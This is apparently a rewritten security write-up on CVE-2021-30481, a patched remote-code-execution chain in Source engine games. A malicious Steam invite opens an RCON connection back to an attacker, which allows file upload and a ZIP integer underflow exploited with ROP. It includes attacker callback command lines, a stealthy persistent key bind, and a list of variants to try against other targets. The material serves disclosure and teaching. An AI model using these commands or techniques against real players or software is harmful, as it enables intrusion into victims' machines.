Why game invites do more than you think they do
A malicious Steam game invite could inject arbitrary console commands into a Source engine game, allowing an attacker to establish an RCON connection to their server and send crafted packets that exploit an integer underflow in the ZIP handling code to achieve remote code execution.
Steam is the most popular PC game launcher in the world. It gives millions of people the chance to play their favorite video games with their friends using the built in friend and party system, so it’s safe to assume most users have accepted an invite at one point or another.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Steam is the most popular PC game launcher in the world. It gives millions of people the chance to play their favourite video games with their friends using the built-in friend and party system, so it is safe to assume most users have accepted an invite at one point or another. There is no real danger in that, is there?
In this write-up we look at how an attacker can use the Steamworks API in combination with various features and properties of the Source engine to gain remote code execution (RCE) through malicious Steam game invites. The vulnerability was tracked as CVE-2021-30481 and rated 9.0 (critical) by Valve.
Context
The Steamworks API allows game developers to access various Steam features from within their game through a set of different interfaces. For example, the ISteamFriends interface implements functions such as InviteUserToGame and ReplyToFriendMessage, which, as their names suggest, let you interact with your friends either by inviting them to your game or by just sending them a text message.
Things become interesting when looking at what InviteUserToGame actually does to get a friend into your current game or lobby. Here is the function prototype and an excerpt of the description from the official documentation:
bool InviteUserToGame( CSteamID steamIDFriend, const char *pchConnectString );
"If the target user accepts the invite then the pchConnectString gets added to the command-line when launching the game. If the game is already running for that user, then they will receive a GameRichPresenceJoinRequested_t callback with the connect string."
So if your friends do not already have the game started, you can specify additional start parameters for the game process, which will be appended at the end of the command line. For regular invites in the context of, for example, CS:GO, the start parameter +connect_lobby in combination with your 64-bit lobby ID is appended. This command, in turn, is executed by the in-game console and eventually gets the player into the specified lobby.
When specifying console commands in the start parameters of a Source engine game, you are not given any limitations. You can arbitrarily execute any game command of your choice. Everything you can configure in the UI and much more beyond that can generally be tweaked using console commands. This allows for things such as messing with people's game language, their sensitivity, resolution, and generally everything settings-related you can think of. In the author's opinion this is already quite questionable, but not extremely malicious yet.
Setup
A lot of Source engine games come with something known as the Source RCON Protocol. Briefly summarised, this protocol enables server owners to execute console commands in the context of their game servers in the same manner as you would typically do it to configure something in your game client. This works by prefixing any console command with rcon before executing it. In order to do so, you first have to connect and authenticate yourself to the game server using the rcon_address and rcon_password commands.
The specific version of the XZip/XUnzip library used by the RCON handler dates back to 2003.
Finding it
An attacker can execute the InviteUserToGame function with the second parameter set to "+rcon_address yourip:yourport +rcon". As soon as the victim accepts the invite, the game will start up and try to connect back to the specified address without any notification whatsoever. The additional +rcon at the end is required because the client does not initiate the connection until there is an attempt to actually communicate to the server. This already leaks the victim's IP address to the attacker.
A further look into how the Source engine implements RCON on the client side reveals the full potential. In CRConClient::ParseReceivedData, the client reacts to different types of RCON packets coming from the server. Within the scope of this work, only three types of packets are relevant: SERVERDATA_RESPONSE_STRING, SERVERDATA_SCREENSHOT_RESPONSE, and SERVERDATA_CONSOLE_LOG_RESPONSE. The following image shows how RCON packets look in general. The content delivered by the packet starts with the Body member and is typically null-terminated with the Empty String field.

The first type allows an attacker hosting a malicious RCON server to print arbitrary strings into the connected victim's game console as long as the RCON connection remains open. This is not related to the final RCE, but it is too funny to leave out. Below is an example of something that would certainly be surprising to anybody who sees it popping up in their console.

Exploitation
Step 1: Deliver the RCON connection through an invite
The attacker calls InviteUserToGame with a connect string that contains the RCON setup commands. When the victim accepts, the game starts and connects back to the attacker's server. No prompt or notification is shown for this connection.
Step 2: Push data over the RCON connection
The client handles SERVERDATA_SCREENSHOT_RESPONSE and SERVERDATA_CONSOLE_LOG_RESPONSE packets by treating the packet data as a ZIP file and looking for a file named screenshot.jpg inside. That file is then unpacked to the root CS:GO installation folder. The name under which the screenshot is saved cannot be controlled, nor can the file extension: it is always saved as screenshotXXXX.jpg, where XXXX is a 4-digit suffix starting at 0000, increased as long as a file with that name already exists.
void CRConClient::SaveRemoteScreenshot( const void* pBuffer, int nBufLen )
{
char pScreenshotPath[MAX_PATH];
do
{
Q_snprintf( pScreenshotPath, sizeof( pScreenshotPath ), "%s/screenshot%04d.jpg", m_RemoteFileDir.Get(), m_nScreenShotIndex++ );
} while( g_pFullFileSystem->FileExists( pScreenshotPath, "MOD" ) );
char pFullPath[MAX_PATH];
GetModSubdirectory( pScreenshotPath, pFullPath, sizeof(pFullPath) );
HZIP hZip = OpenZip( (void*)pBuffer, nBufLen, ZIP_MEMORY );
int nIndex;
ZIPENTRY zipInfo;
FindZipItem( hZip, "screenshot.jpg", true, &nIndex, &zipInfo );
if ( nIndex >= 0 )
{
UnzipItem( hZip, nIndex, pFullPath, 0, ZIP_FILENAME );
}
CloseZip( hZip );
}
An attacker can send these kinds of RCON packets without the client requesting anything prior. Already, an attacker can upload arbitrary files if the victim accepts the game invite. So far, no memory corruption is required.
Step 3: Reach the ZIP parser
The functions OpenZip, FindZipItem, UnzipItem, and CloseZip belong to the XZip/XUnzip library. As soon as CRConClient::SaveRemoteScreenshot calls FindZipItem to retrieve information about the screenshot.jpg file inside the archive, TUnzip::Get is called. Inside TUnzip::Get, the archive is parsed according to the ZIP file format, including processing the so-called central directory file header.
int unzlocal_GetCurrentFileInfoInternal (unzFile file, unz_file_info *pfile_info,
unz_file_info_internal *pfile_info_internal, char *szFileName,
uLong fileNameBufferSize, void *extraField, uLong extraFieldBufferSize,
char *szComment, uLong commentBufferSize)
{
// ...
s=(unz_s*)file;
// ...
if (unzlocal_getLong(s->file,&file_info_internal.offset_curfile) != UNZ_OK)
err=UNZ_ERRNO;
// ...
}
Here the relative offset of the local file header located in the central directory file header is read into file_info_internal.offset_curfile. This allows the code to locate the actual position of the compressed file in the archive, and it plays a key role later on.
Step 4: Follow the offset into the local file header
Somewhere later in TUnzip::Get, a function named unzlocal_CheckCurrentFileCoherencyHeader is called. Here the previously mentioned local file header is processed given the offset that was retrieved before.
int unzlocal_CheckCurrentFileCoherencyHeader (unz_s *s,uInt *piSizeVar,
uLong *poffset_local_extrafield, uInt *psize_local_extrafield)
{
// ...
if (lufseek(s->file,s->cur_file_info_internal.offset_curfile + s->byte_before_the_zipfile,SEEK_SET)!=0)
return UNZ_ERRNO;
if (err==UNZ_OK)
if (unzlocal_getLong(s->file,&uMagic) != UNZ_OK)
err=UNZ_ERRNO;
// ...
}
At first, a call to lufseek sets the internal file pointer to point to the local file header in the archive (it can be assumed that there are no additional bytes in front of the archive). From this assumption it follows that s->byte_before_the_zipfile is 0.
This is very similar to how dealing with files works in the C standard library. In this specific case, the RCON handler opened the ZIP archive with the ZIP_MEMORY flag, specifying that the archive is essentially just a byte blob in memory. Therefore, calls to lufseek only update a member in the file object.
int lufseek(LUFILE *stream, long offset, int whence)
{
// ...
else
{
if (whence==SEEK_SET) stream->pos=offset;
else if (whence==SEEK_CUR) stream->pos+=offset;
else if (whence==SEEK_END) stream->pos=stream->len+offset;
return 0;
}
}
Once lufseek returns, another function named unzlocal_getLong is invoked to read out the magic bytes that identify the local file header. Internally, this function calls unzlocal_getByte four times to read out every single byte of the long value. unzlocal_getByte in turn calls lufread to read directly from the file stream.
int unzlocal_getLong(LUFILE *fin,uLong *pX)
{
uLong x ;
int i = 0;
int err;
err = unzlocal_getByte(fin,&i);
x = (uLong)i;
if (err==UNZ_OK)
err = unzlocal_getByte(fin,&i);
x += ((uLong)i)<<8;
// repeated two more times for the remaining bytes
// ...
return err;
}
int unzlocal_getByte(LUFILE *fin,int *pi)
{
unsigned char c;
int err = (int)lufread(&c, 1, 1, fin);
// ...
}
size_t lufread(void *ptr,size_t size,size_t n,LUFILE *stream)
{
unsigned int toread = (unsigned int)(size*n);
// ...
if (stream->pos+toread > stream->len) toread = stream->len-stream->pos;
memcpy(ptr, (char*)stream->buf + stream->pos, toread); DWORD red = toread;
stream->pos += red;
return red/size;
}
Step 5: Trigger the integer underflow
Given that s->cur_file_info_internal.offset_curfile can be arbitrarily controlled by modifying the corresponding field in the central directory structure, the stack can be smashed in the first call to lufread right on the spot. Setting the local file header offset to 0xFFFFFFFE leads to a chain of operations that eventually results in code execution.
- The call to
lufseekinunzlocal_CheckCurrentFileCoherencyHeadersets theposmember of the file stream to0xFFFFFFFE. unzlocal_getLongis called for the first time, which invokesunzlocal_getByte.lufreadtries to read a single byte from the file stream. The variabletoreadinsidelufreadthat determines the amount of memory to be read is equal to1, so the conditionif (stream->pos + toread > stream->len)(unsigned comparison) becomestrue.stream->pos + toreadcalculates0xFFFFFFFE + 1 = 0xFFFFFFFF, which is likely greater than the overall length of the archive stored instream->len.- The
toreadvariable is updated withstream->len - stream->pos, which calculatesstream->len - 0xFFFFFFFE. This calculation underflows and effectively computesstream->len + 2. In the call tomemcpythe calculation of the source parameter overflows simultaneously. - The call to
memcpycan be considered equivalent to this:
memcpy(ptr, (char*)stream->buf - 2, stream->len + 2);
Given that ptr points to a local variable of unzlocal_getByte that is just a single byte in size, this immediately corrupts the stack. unzlocal_getByte calls lufread(&c, 1, 1, fin) with c being an unsigned char. The memcpy call writes the entire archive blob to the stack, which also gives control over the content that is written.
Step 6: Build the archive and the ROP chain
All that is left is constructing a ZIP archive that has the local file header offset set to 0xFFFFFFFE and otherwise primarily consists of ROP gadgets. The author started with a legitimate archive containing a single screenshot file, corrupted the offset as described, and observed where to put the gadgets based on the faulting EIP value. For the ROP chain, the exploit uses the fact that one of the DLLs loaded into the game, xinput1_3.dll, has ASLR disabled, so its base address can be somewhat reliably guessed. The exploit only ever fails when its preferred address is already occupied by another DLL. Without proper statistical measurements, the probability of the exploit working is estimated to be somewhere around 80%.
Step 7: Turn the file upload into a payload loader
The arbitrary file upload discussed earlier greatly helps this exploit reach its full potential. Whether you want to execute the calculator or a malicious binary you previously uploaded, it does not matter: all that needs to be done is changing a single string in the exploit shellcode. It does not matter if the binary has been saved with the .png extension.
Step 8: Get unlimited attempts with a persistent key bind
The exploit attempts fail from time to time due to bad luck with the base addresses, but the attacker can arrange unlimited tries at code execution. The Source engine comes with the console command host_writeconfig that writes out the current game configuration to the config file on disk. This command can also be injected using game invites. Right before doing that, bind can be used to configure any key that is frequently pressed by players to execute the RCON connection commands from the very beginning. Bonus points if the keys maintain their original functionality to remain stealthy. Once such a key is configured, the settings can be written out to disk so that the changes become persistent. Here is an example showing how the tab key can be stealthily configured to initiate an outgoing RCON connection each time it is pressed:
+bind "tab" "+showscores;rcon_address ip:port;rcon" +host_writeconfig
Also bind +showscores, as that way tab keeps showing the scoreboard. After accepting just a single invite, the attacker can try to run the exploit on the victim whenever they look at the scoreboard.
Root cause
The mistake is in the XZip/XUnzip library used by the RCON handler. The relative offset of the local file header is taken from the central directory file header, which the attacker can control. When it is set to 0xFFFFFFFE, the bounds check in lufread (stream->pos + toread > stream->len) passes because of unsigned arithmetic, and the subsequent toread = stream->len - stream->pos underflows to stream->len + 2. The memcpy then copies the whole archive blob to a one-byte stack variable, smashing the stack with attacker-controlled content. The library version in use dates back to 2003, and the report notes that several flaws were found in the implementation, of which this was only the first.
Two design decisions make the attack reachable in the first place: the connect string of a game invite is executed as arbitrary console commands, and the RCON client accepts screenshot and console log packets without the client requesting anything prior. The ROP chain then relies on xinput1_3.dll being loaded with ASLR disabled, so its base address can be somewhat reliably guessed.
Impact
An attacker can gain remote code execution on a victim's machine through a malicious Steam game invite, provided the victim accepts the invite. Before code execution, the attacker can already upload arbitrary files to the CS:GO installation folder, and the invite itself leaks the victim's IP address to the attacker. The RCON connection is established without any notification. The exploit is not fully reliable: it is estimated to work around 80% of the time, failing when the preferred address is already occupied by another DLL. With the bind and host_writeconfig trick, the attacker can retry whenever the victim presses the bound key, and the report notes that clicking Ok on the warning shown for some games is more or less agreeing to install a persistent IP logger.
Fix
The recent updates make it impossible to carry out this exploit any longer, though in CS:S the OS command line apparently is still in use. Valve removed the offending RCON command handlers, making the arbitrary file upload and the code execution in the unzipping code impossible. Also, at least for CS:GO, Valve seems to now use GetLaunchCommandLine instead of the OS command line. However, in CS:S (and maybe other games) the OS command line apparently is still in use. For those games, at least a warning is displayed that shows the parameters your game is about to start with. The next image shows how such a warning would look when accepting an invite that rebinds a key and establishes an RCON connection at the same time.

The timeline was as follows:
| Date | Event |
|---|---|
| 2019-06-05 | Reported to Valve on HackerOne |
| 2019-09-14 | Bug triaged |
| 2020-10-23 | Bounty paid ($8000) and notification that initial fix was deployed in Team Fortress 2 |
| 2021-04-17 | Final patch |
The PoC exploit code can be found on the author's GitHub. The vulnerability was given a severity rating of 9.0 (critical) by Valve.
Variants to test
- Other Source engine games that still use the OS command line. Send an invite whose connect string contains
+rcon_addressand+rconand watch for an outbound connection to the attacker's server. A positive result is a connection from the victim's machine without any prompt. - Other consumers of the XZip/XUnzip library. Feed an archive whose
central directory file headersets thelocal file headeroffset to0xFFFFFFFEand look for a crash or stack corruption in the unzip path. A positive result is a faultingEIPinfluenced by archive content. - Other RCON packet handlers that unpack data. Send
SERVERDATA_SCREENSHOT_RESPONSEorSERVERDATA_CONSOLE_LOG_RESPONSEpackets without a prior request and check whether files are written to disk. A positive result is ascreenshotXXXX.jpgappearing in the game directory. - Other games that accept connect strings as console commands. Try a connect string that binds a key and calls
host_writeconfig, then check whether the binding persists after a restart. A positive result is the bound command firing on the next key press. - Other DLLs loaded without ASLR. Enumerate modules in the target process and look for one with a fixed base address that can host a ROP chain. A positive result is a module whose base address is stable across runs.
What happened, in plain words
Steam is the most popular PC game launcher in the world. It gives millions of people the chance to play their favourite video games with their friends using the built-in friend and party system, so it is safe to assume most users have accepted an invite at one point or another. There is no real danger in that, is there?
This write-up shows that there was. An attacker could send a specially crafted Steam game invite, and if the victim accepted it, the attacker could run their own code on the victim's computer. That is called remote code execution, or RCE for short: someone else gets your machine to run programs of their choosing, without ever touching it. The vulnerability was tracked as CVE-2021-30481 and rated 9.0 (critical) by Valve. CVE stands for Common Vulnerabilities and Exposures: it is a public catalogue number that lets everyone refer to the same bug unambiguously.
The attack chains several ordinary features together. A game invite can carry extra start-up instructions. Those instructions are treated as console commands, the text commands a player can type into a game to change settings. One of those commands makes the game connect back to a server the attacker controls. That connection, called RCON, is meant for server administration, but the game client also uses it to receive screenshots and console logs. Those are delivered as ZIP archives, and the code that unpacks them contains a memory bug that lets the attacker take over the program. Each link in the chain is explained below, starting from zero.
Context
What an API is
An API (Application Programming Interface) is a fixed set of functions that one program offers to another. A useful comparison is a restaurant menu: you do not walk into the kitchen, you order from a list of dishes the kitchen has agreed to make. The Steamworks API is the menu Steam offers to game developers, so their games can ask Steam to do things such as show a friend list or send an invite.
The Steamworks API allows game developers to access various Steam features from within their game through a set of different interfaces. An interface here is just a named group of related functions. For example, the ISteamFriends interface implements functions such as InviteUserToGame and ReplyToFriendMessage, which, as their names suggest, let you interact with your friends either by inviting them to your game or by just sending them a text message.
What an invite actually carries
Things become interesting when looking at what InviteUserToGame actually does to get a friend into your current game or lobby. A lobby is the waiting room inside a game where players gather before a match. Here is the function prototype and an excerpt of the description from the official documentation:
bool InviteUserToGame( CSteamID steamIDFriend, const char *pchConnectString );
Line by line:
boolis the type of value the function returns: true or false, meaning the invite was sent or it was not.InviteUserToGameis the function's name: invite a user to a game.CSteamID steamIDFriendis the first input: the unique identifier of the friend being invited. Every Steam account has such a number.const char *pchConnectStringis the second input: a piece of text, the connect string.const char *is how the C programming language spells "a pointer to text that the function will not modify". This text is the interesting part, because the sender chooses it.
"If the target user accepts the invite then the pchConnectString gets added to the command-line when launching the game. If the game is already running for that user, then they will receive a GameRichPresenceJoinRequested_t callback with the connect string."
So if your friends do not already have the game started, you can specify additional start parameters for the game process, which will be appended at the end of the command line. The command line is the line of text the operating system uses to start a program, and anything appended to it is handed to the program as extra instructions. For regular invites in the context of, for example, CS:GO, the start parameter +connect_lobby in combination with your 64-bit lobby ID is appended. This command, in turn, is executed by the in-game console and eventually gets the player into the specified lobby.
When specifying console commands in the start parameters of a Source engine game, you are not given any limitations. You can arbitrarily execute any game command of your choice. Everything you can configure in the UI and much more beyond that can generally be tweaked using console commands. This allows for things such as messing with people's game language, their sensitivity, resolution, and generally everything settings-related you can think of. In the author's opinion this is already quite questionable, but not extremely malicious yet.
Setup
What RCON is
A lot of Source engine games come with something known as the Source RCON Protocol. Briefly summarised, this protocol enables server owners to execute console commands in the context of their game servers in the same manner as you would typically do it to configure something in your game client. This works by prefixing any console command with rcon before executing it. In order to do so, you first have to connect and authenticate yourself to the game server using the rcon_address and rcon_password commands. Think of RCON as a remote control for a game server: instead of sitting at the server, the owner sends commands over the network, and a password proves they are allowed to.
A packet is a small chunk of data sent over a network, the way a letter is one item in the post. The specific version of the XZip/XUnzip library used by the RCON handler dates back to 2003. A library is reusable code that many programs include instead of writing the same thing themselves; XZip/XUnzip is such a library for reading and writing ZIP archives.
Finding it
The invite can carry any command
An attacker can execute the InviteUserToGame function with the second parameter set to "+rcon_address yourip:yourport +rcon". As soon as the victim accepts the invite, the game will start up and try to connect back to the specified address without any notification whatsoever. The additional +rcon at the end is required because the client does not initiate the connection until there is an attempt to actually communicate to the server. This already leaks the victim's IP address to the attacker. An IP address is the numeric label that identifies a computer on a network, so learning it tells the attacker where the victim is connected from.
What the client does with RCON packets
A further look into how the Source engine implements RCON on the client side reveals the full potential. In CRConClient::ParseReceivedData, the client reacts to different types of RCON packets coming from the server. Within the scope of this work, only three types of packets are relevant: SERVERDATA_RESPONSE_STRING, SERVERDATA_SCREENSHOT_RESPONSE, and SERVERDATA_CONSOLE_LOG_RESPONSE. The following image shows how RCON packets look in general. The content delivered by the packet starts with the Body member and is typically null-terminated with the Empty String field. Null-terminated means the text ends at the first zero byte, the way a sentence ends at a full stop.

The first type allows an attacker hosting a malicious RCON server to print arbitrary strings into the connected victim's game console as long as the RCON connection remains open. This is not related to the final RCE, but it is too funny to leave out. Below is an example of something that would certainly be surprising to anybody who sees it popping up in their console.

Exploitation
Step 1: Deliver the RCON connection through an invite
The attacker calls InviteUserToGame with a connect string that contains the RCON setup commands. When the victim accepts, the game starts and connects back to the attacker's server. No prompt or notification is shown for this connection. The reason this step matters is that it turns a harmless-looking social action, accepting an invite from a friend, into a network connection the victim never asked for.
Step 2: Push data over the RCON connection
The client handles SERVERDATA_SCREENSHOT_RESPONSE and SERVERDATA_CONSOLE_LOG_RESPONSE packets by treating the packet data as a ZIP file and looking for a file named screenshot.jpg inside. That file is then unpacked to the root CS:GO installation folder. The name under which the screenshot is saved cannot be controlled, nor can the file extension: it is always saved as screenshotXXXX.jpg, where XXXX is a 4-digit suffix starting at 0000, increased as long as a file with that name already exists.
void CRConClient::SaveRemoteScreenshot( const void* pBuffer, int nBufLen )
{
char pScreenshotPath[MAX_PATH];
do
{
Q_snprintf( pScreenshotPath, sizeof( pScreenshotPath ), "%s/screenshot%04d.jpg", m_RemoteFileDir.Get(), m_nScreenShotIndex++ );
} while( g_pFullFileSystem->FileExists( pScreenshotPath, "MOD" ) );
char pFullPath[MAX_PATH];
GetModSubdirectory( pScreenshotPath, pFullPath, sizeof(pFullPath) );
HZIP hZip = OpenZip( (void*)pBuffer, nBufLen, ZIP_MEMORY );
int nIndex;
ZIPENTRY zipInfo;
FindZipItem( hZip, "screenshot.jpg", true, &nIndex, &zipInfo );
if ( nIndex >= 0 )
{
UnzipItem( hZip, nIndex, pFullPath, 0, ZIP_FILENAME );
}
CloseZip( hZip );
}
Line by line:
void CRConClient::SaveRemoteScreenshot( const void* pBuffer, int nBufLen )declares a function that saves a remote screenshot.voidmeans it returns nothing.pBufferpoints at the received data andnBufLenis how many bytes it holds.char pScreenshotPath[MAX_PATH];reserves a fixed-size text buffer for the path where the screenshot will be written.MAX_PATHis the maximum length a path may have.- The
do { ... } while( ... )loop builds a candidate file name withQ_snprintf, formatting%s/screenshot%04d.jpg: the folder, thenscreenshot, then a number padded to four digits, then.jpg.m_nScreenShotIndex++uses the current counter and then increases it. - The loop condition
g_pFullFileSystem->FileExists( pScreenshotPath, "MOD" )asks the file system whether that name is already taken. If it is, the loop runs again with the next number, which is why the suffix starts at0000and grows. GetModSubdirectoryturns the relative path into a full path inpFullPath.OpenZip( (void*)pBuffer, nBufLen, ZIP_MEMORY )opens the received bytes as a ZIP archive.ZIP_MEMORYsays the archive lives in memory rather than in a file on disk.FindZipItem( hZip, "screenshot.jpg", true, &nIndex, &zipInfo )looks for an entry namedscreenshot.jpginside the archive and stores its position innIndex.- If
nIndex >= 0, an entry was found, andUnzipItemextracts it topFullPath. CloseZip( hZip )releases the archive.
An attacker can send these kinds of RCON packets without the client requesting anything prior. Already, an attacker can upload arbitrary files if the victim accepts the game invite. So far, no memory corruption is required. Memory corruption means making a program write data where it should not, which is the next step.
Step 3: Reach the ZIP parser
The functions OpenZip, FindZipItem, UnzipItem, and CloseZip belong to the XZip/XUnzip library. As soon as CRConClient::SaveRemoteScreenshot calls FindZipItem to retrieve information about the screenshot.jpg file inside the archive, TUnzip::Get is called. Inside TUnzip::Get, the archive is parsed according to the ZIP file format, including processing the so-called central directory file header. A ZIP archive keeps a table of contents, the central directory, and each entry in it is described by a header. That header records, among other things, where the actual data for the file begins.
int unzlocal_GetCurrentFileInfoInternal (unzFile file, unz_file_info *pfile_info,
unz_file_info_internal *pfile_info_internal, char *szFileName,
uLong fileNameBufferSize, void *extraField, uLong extraFieldBufferSize,
char *szComment, uLong commentBufferSize)
{
// ...
s=(unz_s*)file;
// ...
if (unzlocal_getLong(s->file,&file_info_internal.offset_curfile) != UNZ_OK)
err=UNZ_ERRNO;
// ...
}
Line by line:
- The function signature takes the archive handle
fileplus several buffers and sizes for the file name, extra field and comment. The// ...marks code left out for brevity. s=(unz_s*)file;casts the generic handle to the library's internal structure, so its fields can be read.unzlocal_getLong(s->file,&file_info_internal.offset_curfile)reads a 4-byte number from the archive intooffset_curfile. This is the offset, the distance from the start of the archive to the file's local header.- If that read fails,
err=UNZ_ERRNOrecords an error.
Here the relative offset of the local file header located in the central directory file header is read into file_info_internal.offset_curfile. This allows the code to locate the actual position of the compressed file in the archive, and it plays a key role later on. The important point for a beginner is that this number comes straight out of the attacker's archive and is trusted.
Step 4: Follow the offset into the local file header
Somewhere later in TUnzip::Get, a function named unzlocal_CheckCurrentFileCoherencyHeader is called. Here the previously mentioned local file header is processed given the offset that was retrieved before.
int unzlocal_CheckCurrentFileCoherencyHeader (unz_s *s,uInt *piSizeVar,
uLong *poffset_local_extrafield, uInt *psize_local_extrafield)
{
// ...
if (lufseek(s->file,s->cur_file_info_internal.offset_curfile + s->byte_before_the_zipfile,SEEK_SET)!=0)
return UNZ_ERRNO;
if (err==UNZ_OK)
if (unzlocal_getLong(s->file,&uMagic) != UNZ_OK)
err=UNZ_ERRNO;
// ...
}
Line by line:
- The function receives the internal structure
sand pointers for sizes and offsets of the extra field. lufseek(s->file, s->cur_file_info_internal.offset_curfile + s->byte_before_the_zipfile, SEEK_SET)moves the read position inside the archive to the offset taken from the central directory.SEEK_SETmeans "count from the beginning".- If the seek fails, the function returns an error code.
unzlocal_getLong(s->file, &uMagic)then reads the 4 magic bytes that identify a local file header. Magic bytes are a fixed signature at the start of a structure, like the first word of a form that tells you which form it is.
At first, a call to lufseek sets the internal file pointer to point to the local file header in the archive (it can be assumed that there are no additional bytes in front of the archive). From this assumption it follows that s->byte_before_the_zipfile is 0.
This is very similar to how dealing with files works in the C standard library. In this specific case, the RCON handler opened the ZIP archive with the ZIP_MEMORY flag, specifying that the archive is essentially just a byte blob in memory. Therefore, calls to lufseek only update a member in the file object.
int lufseek(LUFILE *stream, long offset, int whence)
{
// ...
else
{
if (whence==SEEK_SET) stream->pos=offset;
else if (whence==SEEK_CUR) stream->pos+=offset;
else if (whence==SEEK_END) stream->pos=stream->len+offset;
return 0;
}
}
Line by line:
lufseektakes the stream, an offset and awhencevalue that says how to interpret the offset.SEEK_SETsets the position to the offset itself, counting from the start.SEEK_CURadds the offset to the current position.SEEK_ENDsets the position relative to the end of the data.- It returns
0, meaning success.
Once lufseek returns, another function named unzlocal_getLong is invoked to read out the magic bytes that identify the local file header. Internally, this function calls unzlocal_getByte four times to read out every single byte of the long value. unzlocal_getByte in turn calls lufread to read directly from the file stream.
int unzlocal_getLong(LUFILE *fin,uLong *pX)
{
uLong x ;
int i = 0;
int err;
err = unzlocal_getByte(fin,&i);
x = (uLong)i;
if (err==UNZ_OK)
err = unzlocal_getByte(fin,&i);
x += ((uLong)i)<<8;
// repeated two more times for the remaining bytes
// ...
return err;
}
int unzlocal_getByte(LUFILE *fin,int *pi)
{
unsigned char c;
int err = (int)lufread(&c, 1, 1, fin);
// ...
}
size_t lufread(void *ptr,size_t size,size_t n,LUFILE *stream)
{
unsigned int toread = (unsigned int)(size*n);
// ...
if (stream->pos+toread > stream->len) toread = stream->len-stream->pos;
memcpy(ptr, (char*)stream->buf + stream->pos, toread); DWORD red = toread;
stream->pos += red;
return red/size;
}
Line by line:
unzlocal_getLongbuilds a 4-byte number one byte at a time. It callsunzlocal_getByteto read a byte intoi, copies it intox, then reads the next byte and shifts it left by 8 bits (<<8) before adding it. Repeating this four times assembles the number in the right order.unzlocal_getBytedeclares a singleunsigned char cand callslufread(&c, 1, 1, fin): read one item of size one into the address ofc. So the destination is a one-byte variable on the stack.lufreadcomputestoread, the number of bytes to copy, assize*n. Here that is 1.- The bounds check
if (stream->pos+toread > stream->len)compares the read position plus the requested amount against the total length. If the request would run past the end,toreadis reduced tostream->len-stream->pos, the number of bytes actually left. memcpy(ptr, (char*)stream->buf + stream->pos, toread)copiestoreadbytes from the buffer at the current position intoptr.stream->pos += redadvances the position, and the function returns how many items were read.
Step 5: Trigger the integer underflow
An integer underflow is what happens when a calculation that should produce a small positive number wraps around to a huge one, because the type used cannot represent negative values. Think of a car odometer rolling backwards past zero: instead of minus one, it shows the largest number it can display.
Given that s->cur_file_info_internal.offset_curfile can be arbitrarily controlled by modifying the corresponding field in the central directory structure, the stack can be smashed in the first call to lufread right on the spot. The stack is the region of memory where a program keeps short-lived values such as local variables and return addresses, the addresses that tell it where to continue after a function finishes. Smashing it means overwriting those values with data of the attacker's choosing. Setting the local file header offset to 0xFFFFFFFE leads to a chain of operations that eventually results in code execution. 0xFFFFFFFE is a hexadecimal number, a base-16 way of writing numbers, and it is the second-largest value a 32-bit unsigned number can hold.
- The call to
lufseekinunzlocal_CheckCurrentFileCoherencyHeadersets theposmember of the file stream to0xFFFFFFFE. unzlocal_getLongis called for the first time, which invokesunzlocal_getByte.lufreadtries to read a single byte from the file stream. The variabletoreadinsidelufreadthat determines the amount of memory to be read is equal to1, so the conditionif (stream->pos + toread > stream->len)(unsigned comparison) becomestrue.stream->pos + toreadcalculates0xFFFFFFFE + 1 = 0xFFFFFFFF, which is likely greater than the overall length of the archive stored instream->len.- The
toreadvariable is updated withstream->len - stream->pos, which calculatesstream->len - 0xFFFFFFFE. This calculation underflows and effectively computesstream->len + 2. In the call tomemcpythe calculation of the source parameter overflows simultaneously. - The call to
memcpycan be considered equivalent to this:
memcpy(ptr, (char*)stream->buf - 2, stream->len + 2);
Given that ptr points to a local variable of unzlocal_getByte that is just a single byte in size, this immediately corrupts the stack. unzlocal_getByte calls lufread(&c, 1, 1, fin) with c being an unsigned char. The memcpy call writes the entire archive blob to the stack, which also gives control over the content that is written. In plain terms: the program meant to copy one byte into a one-byte box, but the arithmetic went wrong and it copied the whole archive over the surrounding memory, including the places that decide what the program does next.
Step 6: Build the archive and the ROP chain
All that is left is constructing a ZIP archive that has the local file header offset set to 0xFFFFFFFE and otherwise primarily consists of ROP gadgets. ROP stands for return-oriented programming. The idea is that instead of writing new code, the attacker strings together tiny existing snippets of the program, called gadgets, each ending in a return instruction, so that the program jumps from one snippet to the next in an order the attacker chose. It is like arranging a sequence of existing dominoes so they fall in the order you want.
The author started with a legitimate archive containing a single screenshot file, corrupted the offset as described, and observed where to put the gadgets based on the faulting EIP value. EIP is the instruction pointer, the register that holds the address of the next instruction to run; when it faults, it shows where the program tried to jump. For the ROP chain, the exploit uses the fact that one of the DLLs loaded into the game, xinput1_3.dll, has ASLR disabled, so its base address can be somewhat reliably guessed. A DLL is a shared library file on Windows, and ASLR (Address Space Layout Randomisation) is a defence that loads code at a random address each run so an attacker cannot predict where it is. With ASLR off, the address is predictable. The exploit only ever fails when its preferred address is already occupied by another DLL. Without proper statistical measurements, the probability of the exploit working is estimated to be somewhere around 80%.
Step 7: Turn the file upload into a payload loader
The arbitrary file upload discussed earlier greatly helps this exploit reach its full potential. Whether you want to execute the calculator or a malicious binary you previously uploaded, it does not matter: all that needs to be done is changing a single string in the exploit shellcode. Shellcode is the small piece of machine code the attacker wants to run once control is gained. It does not matter if the binary has been saved with the .png extension.
Step 8: Get unlimited attempts with a persistent key bind
The exploit attempts fail from time to time due to bad luck with the base addresses, but the attacker can arrange unlimited tries at code execution. The Source engine comes with the console command host_writeconfig that writes out the current game configuration to the config file on disk. This command can also be injected using game invites. Right before doing that, bind can be used to configure any key that is frequently pressed by players to execute the RCON connection commands from the very beginning. Bonus points if the keys maintain their original functionality to remain stealthy. Once such a key is configured, the settings can be written out to disk so that the changes become persistent. Here is an example showing how the tab key can be stealthily configured to initiate an outgoing RCON connection each time it is pressed:
+bind "tab" "+showscores;rcon_address ip:port;rcon" +host_writeconfig
Line by line:
- The leading
+tells the game to run the command that follows as a start-up command. bind "tab" "..."attaches a list of commands to the tab key. The list is separated by semicolons, so pressing tab runs each command in turn.+showscoresis the normal action of the tab key: hold it to see the scoreboard. Keeping it means the key still behaves as the player expects.rcon_address ip:porttells the game which server to talk to over RCON.rconstarts the RCON communication, which is what actually opens the connection.+host_writeconfigsaves the current configuration to disk, so the binding survives a restart.
Also bind +showscores, as that way tab keeps showing the scoreboard. After accepting just a single invite, the attacker can try to run the exploit on the victim whenever they look at the scoreboard.
Root cause
